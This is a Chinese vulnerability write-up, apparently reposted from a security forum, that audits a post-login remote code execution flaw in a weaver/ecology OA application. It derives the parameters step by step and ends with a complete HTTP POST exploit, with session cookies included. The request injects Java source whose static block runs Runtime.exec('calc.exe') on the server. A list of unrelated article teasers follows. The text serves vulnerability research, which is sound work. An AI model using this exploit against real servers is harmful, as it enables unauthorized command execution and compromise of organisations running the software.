某微1day后台RCE审计漏洞

news2024/11/17 5:45:49

某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化

溯源找到InterfaceRegisterCustomOperationCmd #excute

访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞

因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

这里var14要为add

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
转载来自: https://xz.aliyun.com/t/11947

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/130250.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

腾讯云域名备案以及ssl证书申请部署springboot

网站备案 1. 先进行网站备案 网站&#xff1a;https://console.cloud.tencent.com/beian 2. 然后在进行公安备案 流程&#xff1a;https://cloud.tencent.com/document/product/243/19142 3. 再在网站中添加备案号 #示例代码如下&#xff1a; <a href"https://b…

计算机网络——ICMP协议

ICMP 支持主机或者服务器实现差错或者异常的探寻。ICMP的功能体现即发送特定的ICMP报文 类型&#xff1a;ICMP属于哪一类的 代码&#xff1a;是为了进一步区分某种类型中不同的情况 检验和&#xff1a;检验整个ICMP报文 ICMP报文 1 终点不可达类型&#xff1a;当路由器或者…

excel超链接应用:快速生成目录的几个方法-上

在平时工作中&#xff0c;为了能快速打开需要的工作表&#xff0c;我们通常会设置一个目录。目录的设置方法有很多种&#xff0c;但大多数人使用的方法还是基本的手动插入超链接的操作。虽然这个方法也行&#xff0c;但是将大大降低你的工作效率&#xff0c;那么今天&#xff0…

【eiseg教程,快速给语义分割任务打标签】

eiseg教程1.安装EISeg2.载入模型权重3.添加类别标签4.设置格式5.标注图片6.部分按键/快捷键eiseg是百度开发的半自动标注工具&#xff0c;可以快速给语义分割任务打标签&#xff0c;提高工作效率。1.安装EISeg &#xff08;1&#xff09;新建一个python3.8的虚拟环境 &#xf…

3D Diffusion模型来了!OpenAI出品,已开源

文&#xff5c;天于刀刀2022年不愧是 AIGC 行业元年。伴随着 ChatGPT 的大火使得谷歌一周之内改口“会认真评估 ChatGPT 对搜索引擎的影响”&#xff0c;OpenAI 在 3D 图像生成领域进一步放出了大招开源项目“Point-E” [1]&#xff0c;可玩程度不下于 ChatGPT&#xff01;简单…

Spring AOP源码探究

1. 前言 Spring除了IOC和DI&#xff0c;还有另一个杀手锏功能——Spring AOP。AOP是一种面向切面的编程思想&#xff0c;它的关注点是横向的&#xff0c;不同于OOP的纵向。面向对象编程时&#xff0c;如果我们要给多个类引入同一个行为&#xff0c;唯一的方式就是使用继承&…

了解SpringBoot自动配置原理

目录 1、SpringBoot特点 1.1、依赖管理 1.1.1 父项目做依赖管理 1.1.2 开发导入starter场景启动器 1.1.3 无需关注版本号&#xff0c;自动仲裁机制 1.1.4 可以修改默认版本号 1.2、自动配置 2、容器功能 2.1、组件添加 1、Configuration 2、Bean、Component、Contro…

医院室内定位导航,便捷、低成本智慧医院室内地图应用解决方案

医院布局作为公共建筑最复杂的结构之一&#xff0c;有规模大、功能复杂等特点&#xff0c;因而&#xff0c;面向医护人员、患者就诊、医院管理等一系列基础医疗服务就成了当下医院智慧化改善的首要问题。电子地图作为大家最喜闻乐见的高效应用形式&#xff0c;可高效为病患提供…

SpringMVC的学习

SpringMVC 文章目录SpringMVC学习目标SpringMVC简介优点入门案例springmvc入门程序开发流程入门案例工作流程分析SpringMVC对应bean加载与spring对应bean加载web配置类简化开发PostMan插件简介基本使用请求与响应请求映射路径请求参数请求方式请求参数(传递json数据)日期类型参…

小程序和公众号相互跳转

小程序跳转公众号 小程序跳转公众号目前只找到 微信暴露的 引导关注组件 official-account, 官方文档如下&#xff1a; https://developers.weixin.qq.com/miniprogram/dev/component/official-account.html 且这个组件展示是有限制的&#xff0c;只有在扫码进入小程序的情况下…

【数据结构Java版】二叉树堆与优先级队列PriorityQueue

目录 一、优先级队列 &#xff08;1&#xff09;优先级队列的概念 &#xff08;2&#xff09;优先级队列的模拟实现 二、堆 &#xff08;1&#xff09;堆的概念 &#xff08;2&#xff09;堆的存储方式 &#xff08;3&#xff09;堆的创建 1.堆的向下调整 2.堆的创建 …

Nginx access.log日志详解及统计分析

Nginx access.log日志详解及统计分析一、nginx的access.log二、日志流量统计统计接口地址访问量PV统计UV统计独立IP统计三、配置access.log按天生成四、nginx.conf配置一、nginx的access.log 1.日志文件一般存放在 /var/log/nginx 下&#xff0c;若是docker启动则可以使用主机…

奇舞周刊 477 期:一文弄懂 React ref 原理

记得点击文章末尾的“ 阅读原文 ”查看哟~下面先一起看下本期周刊 摘要 吧~奇舞推荐■ ■ ■一文弄懂 React ref 原理对于 Ref 理解与使用&#xff0c;一些读者可能还停留在用 ref 获取真实 DOM 元素和获取类组件实例层面上 其实 ref 除了这两项常用功能之外&#xff0c;还有很…

简单通过Sentinel监控请求

文章目录一&#xff1a;运行Sentinel服务二&#xff1a;安装Sentinel依赖2.1&#xff1a;Sentinel Pom依赖2.2&#xff1a;Sentinel YML 配置注意&#xff1a;clientIp.localhost不同sentinel版本依赖缩进层级结构可能不一样&#xff0c;可根据idea提示回车三&#xff1a;启动服…

年终给您提个醒:明年的分区表创建好了吗?

2022年某月&#xff0c;某运营商客户突然出现部分业务办理失败&#xff0c;数据无法入库的现象......经过查询&#xff0c;应用进程insert提示&#xff1a;“ORA-14400”错误。由此诊断&#xff0c;故障出现是由于上月部分表分区未提前创建&#xff0c;导致本月前端业务在导入数…

130道基础OJ编程题之: 47 ~ 57 道

130道基础OJ编程题之: 47 ~ 57 道 文章目录130道基础OJ编程题之: 47 ~ 57 道0. 昔日OJ编程题:47. BC50 计算单位阶跃函数48. BC51 三角形判断49. BC52 衡量人体胖瘦程度50. BC53 计算一元二次方程51. BC54 获得月份天数52. BC55 简单计算器53. BC56 线段图案54. BC57 正方形图案…

【生信】初探蛋白质性质和结构分析

实验目的 熟悉蛋白质序列和结构的主要分析内容在实践中逐步理解蛋白质序列和结构的主要分析算法的基本原理 实验内容 综合使用多种在线工具&#xff0c;对蛋白质的一级、二级和三级结构进行分析和预测综合使用多种在线工具&#xff0c;对蛋白质的跨膜结构、翻译后修饰、亚细…

第二十八讲:神州路由器地址转换的配置

实验拓扑图如下所示 设置内网地址段为192.168.0.0,S0/1为外网出口。通过nat访问192.168.2.0网段。 操作步骤&#xff1a; 步骤1&#xff1a;连接网络拓扑结构图。 步骤2&#xff1a;配置计算机的IP地址、子网掩码和网关。 步骤3&#xff1a;设置Router-B的接口IP地址和DCE的…

linux0.11+Bochs环境搭建和使用

Linux 系统的创始人在一篇新闻组投稿上所说的&#xff0c;要理解一个软件系统的真正运行机制&#xff0c;一定 要阅读其源代码&#xff08;RTFSC – Read The Fucking Source Code&#xff09;。系统本身是一个完整的整体&#xff0c;具有很多看似 不重要的细节存在&#xff0c…

声明式事物的属性之只读、超时、回滚策略

声明式事物的属性之只读、超时、回滚策略 1. 事务属性&#xff1a;只读 ①介绍 对一个查询操作来说&#xff0c;如果我们把它设置成只读&#xff0c;就能够明确告诉数据库&#xff0c;这个操作不涉及写操作。这样数据库就能够针对查询操作来进行优化。 ②使用方式 Overri…